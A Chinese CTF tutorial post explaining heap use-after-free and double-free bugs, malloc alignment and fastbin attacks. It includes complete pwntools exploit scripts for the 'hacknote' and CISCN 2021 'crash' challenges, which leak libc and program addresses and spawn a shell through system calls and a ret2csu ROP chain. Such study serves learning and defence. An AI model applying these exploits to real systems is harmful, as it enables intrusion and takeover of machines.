原理
就是某块内存释放后,任能被用户使用,即存在野指针(一般是free后没有将指针置NULL)
样例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #include <stdio.h> #include <stdlib.h> typedef struct name { char *myname; void (*func)(char *str); } NAME; void myprint (char *str) { printf ("%s\n" , str); }void printmyname () { printf ("call print my name\n" ); }int main () { NAME *a; a = (NAME *)malloc (sizeof (struct name)); a->func = myprint; a->myname = "I can also use it" ; a->func("this is my function" ); free (a); a->func("I can also use it" ); a->func = printmyname; a->func("this is my function" ); a = NULL ; printf ("this pogram will crash...\n" ); a->func("can not be printed..." ); }
malloc内存对齐
在大多数情况下,编译器和C库透明地帮你处理对齐问题。POSIX 标明了通过malloc( ), calloc( ), 和 realloc( ) 返回的地址对于任何的C类型来说都是对齐的。这样可以避免内存中的碎片,提高程序效率。
来看下malloc.h的部分源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 # define MALLOC_ALIGNMENT (2 *SIZE_SZ < __alignof__ (long double) #define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1) #define MIN_CHUNK_SIZE (offsetof(struct malloc_chunk, fd_nextsize)) #define MINSIZE \ (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)) #define request2size(req) \ (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \ MINSIZE : \ ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) struct malloc_chunk { INTERNAL_SIZE_T prev_size; INTERNAL_SIZE_T size; struct malloc_chunk * fd ; struct malloc_chunk * bk ; struct malloc_chunk * fd_nextsize ; struct malloc_chunk * bk_nextsize ; };
翻译翻译就是malloc在对其的时侯,其对其参数必须是2的幂且在32为下8byte,64位下为16byte
但是最小分配单位并不是对齐单位,最小分配单位MINSIZE:
计算MINSIZE=(16+8-1) & ~(8-1)=16字节
即32位下malloc的最小分配单位为16字节,64位下最小分配单位为32字节。
其中request2size就是malloc的内存对齐操作。
从request2size还可以知道,如果是64位系统,申请内存为1~24字节时,系统内存消耗32字节,当申请内存为25字节时,系统内存消耗48字节。 如果是32位系统,申请内存为1~12字节时,系统内存消耗16字节,当申请内存为13字节时,系统内存消耗24字节。(类似计算MINSIZE)
UAF 的利用
当申请两个fastbin范围内的堆块后,fastbin如下图所示
此时可以利用UAF修改chunk0的指针,当我们再次申请出这两个堆的时候,就可以申请到想要修改的地址处,进行后续的一些修改
double free
double free 和 UAF 一样同样也是由于指针为清空造成的漏洞,与UAF的漏洞利用方式差不多,常被用于与fastbin attack 组合利用
下面介绍一种利用double free 来达到任意地址写的利用方式
当申请两个堆块并且释放时fastbin中有如下结构:
fastbin[Y] -> chunk1 -> chunk0
而此时我们再次释放chunk1
fastbin[Y] -> chunk0 -> <- chunk1
如果我们此时申请一个新的chunk
此时修改new chunk的指针
再申请一个chunk1
在申请一个chunk后这个chunk就会合chunk1重合,且fastbin链表已经指向了我们想要修改的地址了,只要再申请一个堆块就会申请到想要修改的地址,然后只要编辑这个堆块便可完成任意地址写。
例题
hacknote
IDA 分析
add
delete
利用思路
由上图可以看到,当我们申请一个note的时候,此时堆块的结构如下图所示
具体利用方式如下
我们申请两个note,在进行释放
1 2 3 4 5 add(0x20 ,'aaaa' ) add(0x20 ,'aaaa' ) delete(0 ) delete(1 )
此时struct note被放到fastbin[0] , content 被放入fastbin3
如果我们申请一个大小在fastbin[0]范围内的堆note2,那么note2 的struct note 和 content就会分别是fastbin[0]中的note1,和note0的struct note
因此新建的note2的strcut note将被分配到note1的结构体位置,note2的content将被分配到note0的结构体位置,note0八字节的结构体处分别存放了打印函数0x804862b和其参数地址,现在将被我们输入的content覆盖
如果我们将content 覆盖为 __libc_start_main的地址 那么我们就可以泄露 libc 了 , 同理可以梅开二度getshell
这里还有一个小坑,覆盖后system的参数实际上是从note0结构体开始的,所以要用到system参数截断的姿势,如:&&sh,||sh,;sh;
可以看到最后成功调用了system(‘sh’)
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *context.log_level='debug' p=process('./hacknote' ) libc = ELF('/lib/i386-linux-gnu/libc.so.6' ) elf = ELF('hacknote' ) def add (size,content ): p.recvuntil('Your choice :' ) p.sendline('1' ) p.recvuntil('Note size :' ) p.sendline(str (size)) p.recvuntil('Content :' ) p.send(content) def delete (index ): p.recvuntil('Your choice :' ) p.sendline('2' ) p.recvuntil('Index :' ) p.sendline(str (index)) def show (index ): p.recvuntil('Your choice :' ) p.sendline('3' ) p.recvuntil('Index :' ) p.sendline(str (index)) libc_start_main = elf.got['__libc_start_main' ] add(0x20 ,'aaaa' ) add(0x20 ,'aaaa' ) delete(0 ) delete(1 ) gdb.attach(p) add(8 ,p32(0x804862B )+p32(libc_start_main)) gdb.attach(p) show(0 ) libc_base = u32(p.recv(4 )) - 0x18550 print (hex (libc_base))system = libc_base + libc.sym['system' ] delete(2 ) add(8 ,p32(system)+b'||sh' ) gdb.attach(p) show(0 ) p.interactive()
CISCN 2021 西南赛区 crash
这个题和HCTF的fheap,不能说是完全相同,只能说是一模一样了,但当时只有两个队做出来
这道题在网上的解法一般都是UAF,这里提供一种double free + ret2csu 的思路
程序分析
ADD
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 unsigned __int64 add () { int i; char *ptr; char *dest; size_t nbytes; size_t nbytesa; char buf[4104 ]; unsigned __int64 v7; v7 = __readfsqword(0x28 u); ptr = (char *)malloc (0x20 uLL); printf ("Pls give data size:" ); nbytes = (int )getInt(); if ( nbytes <= 0x1000 ) { printf ("data:" ); if ( read(0 , buf, nbytes) == -1 ) exit (1 ); nbytesa = strlen (buf); if ( nbytesa > 0xF ) { dest = (char *)malloc (nbytesa); if ( !dest ) exit (1 ); strncpy (dest, buf, nbytesa); *(_QWORD *)ptr = dest; *((_QWORD *)ptr + 3 ) = freeLong; } else { strncpy (ptr, buf, nbytesa); *((_QWORD *)ptr + 3 ) = freeShort; } *((_DWORD *)ptr + 4 ) = nbytesa; for ( i = 0 ; i <= 15 ; ++i ) { if ( !*((_DWORD *)&Strings + 4 * i) ) { *((_DWORD *)&Strings + 4 * i) = 1 ; qword_2020E8[2 * i] = ptr; printf ("The string id is %d\n" , (unsigned int )i); break ; } } if ( i == 16 ) { puts ("The string list is full" ); (*((void (__fastcall **)(char *))ptr + 3 ))(ptr); } } else { puts ("Invalid size" ); free (ptr); } return __readfsqword(0x28 u) ^ v7; }
freeLong 的汇编代码如下, freeShort 和 它差不多都存在UAF
主要的漏洞点在Delete
利用方式
IDA 中可以看到 call puts 与 freeShort 和 freeLong在同一
页,这样的话如果我们可以利用double free覆盖freeLong的地址的后两位
为call puts的地址,当我们delete的时候就会调用call puts 打印出字符
串地址开始的内容,call puts 的地址就在这串内容里,这样可以泄露程序
基址。
拿到程序地址之后就可以结合double free 利用delete的里溢出来ret2csu
bss段没有足够的空间来写入/bin/sh所以要往data段写
具体不多说(主要是懒 ):直接上exp
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 from os import systemfrom pwn import *p = process("crash" ) context.log_level = 'debug' libc = ELF('libc-2.23.so' ) elf = ELF('crash' ) def add (size,data ): p.sendline('add ' ) p.sendlineafter('Pls give data size:' ,str (size)) p.sendlineafter('data:' ,data) def dele (idx ): p.sendline('delete ' ) p.recvuntil('id:' ) p.sendline(str (idx)) p.sendafter('Are you sure?:' ,'yes' ) add(4 ,'aaa' ) add(4 ,'aaa' ) dele(0 ) dele(1 ) dele(0 ) add(0x20 ,'\x00' ) add(0x20 ,b'c' *0x18 +b'\x0b\x00' ) dele(0 ) p.recvuntil(b'c' *0x18 ) elf_base = u64(p.recv(6 ).ljust(8 ,b'\x00' )) - 0xd0b print (hex (elf_base))dele(1 ) ''' 0x000000000000119c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000000119e : pop r13 ; pop r14 ; pop r15 ; ret 0x00000000000011a0 : pop r14 ; pop r15 ; ret 0x00000000000011a2 : pop r15 ; ret 0x000000000000119b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000000119f : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000000a80 : pop rbp ; ret 0x00000000000011a3 : pop rdi ; ret 0x00000000000011a1 : pop rsi ; pop r15 ; ret 0x000000000000119d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000000929 : ret 0x0000000000000962 : ret 0x2016 0x000000000000102b : ret 0x8b48 0x0000000000000dd2 : ret 0x8d48 ''' pop_rdi = elf_base + 0x11a3 puts_plt = elf_base + elf.plt['puts' ] puts_got = elf_base + elf.got['puts' ] main = elf_base + elf.sym['main' ] pop_4 = elf_base + 0x119c read_got = elf_base + elf.got['read' ] pop_6 = elf_base + 0x119a rop2 = elf_base + 0x1180 bin_sh = elf_base + 0x202080 add(0x4 ,b'\x00' ) add(0x20 ,b'd' *0x18 +p64(pop_4)) payload1 = p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(pop_6)+p64(0 )+p64(1 )+p64(read_got)+p64(8 )+p64(bin_sh)+p64(0 )+p64(rop2)+b'\x00' *56 +p64(main) payload1 = b"yes\x00\x00\x00\x00\x00" + payload1 p.sendline('delete ' ) p.recvuntil('id:' ) p.sendline('1' ) p.recvuntil('Are you sure?:' ) p.send(payload1) puts_addr = u64(p.recv(6 ).ljust(8 ,b'\x00' )) libc_base = puts_addr - libc.sym['puts' ] system_addr = libc_base + libc.symbols['system' ] p.send(b"/bin/sh\x00" ) dele(0 ) add(0x4 ,b'\x00' ) add(0x20 ,b'd' *0x18 +p64(pop_4)) payload2 = p64(pop_rdi) + p64(bin_sh) + p64(system_addr) + p64(main) payload2 = b'yes' .ljust(8 ,b'\x00' ) + payload2 p.sendline('delete ' ) p.recvuntil('id:' ) p.sendline('1' ) p.recvuntil('Are you sure?:' ) p.send(payload2) dele(0 ) p.interactive()
##参考链接
https://blog.csdn.net/qq_35429581/article/details/78231443
https://www.cnblogs.com/luoleqi/p/12343147.html
https://blog.csdn.net/Breeze_CAT/article/details/103788698